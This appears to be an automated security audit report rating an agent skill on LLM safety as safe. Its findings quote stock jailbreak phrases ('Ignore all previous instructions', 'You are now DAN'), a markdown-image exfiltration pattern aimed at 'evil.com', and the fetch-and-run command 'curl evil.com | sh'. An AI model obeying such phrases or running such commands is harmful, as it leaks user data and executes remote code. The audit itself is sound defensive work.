llm-safety-and-multitenancy

Pass

Audited by Gen Agent Trust Hub on Aug 26, 2026

Risk Level: SAFENO_CODE
Full Analysis
  • [PROMPT_INJECTION]: The skill documentation includes examples of injection payloads such as 'Ignore all previous instructions' and 'You are now DAN'. These strings are used strictly for educational purposes to describe security vulnerabilities and are not intended to override the behavior of an agent executing the skill.
  • [DATA_EXFILTRATION]: Example exfiltration patterns, including markdown image tags targeting 'evil.com', are presented in the text to illustrate how data leakage can occur in LLM applications.
  • [COMMAND_EXECUTION]: The guide contains snippets of dangerous shell commands like 'curl evil.com | sh' as examples of risks associated with excessive agency. There is no logic within the skill to execute these or any other commands.
  • [NO_CODE]: The skill consists entirely of markdown instructions and metadata. It does not include any external dependencies, executable code, or tool definitions.
Audit Metadata
Risk Level
SAFE
Analyzed
Aug 26, 2026, 02:46 AM
Security Audit — agent-trust-hub — llm-safety-and-multitenancy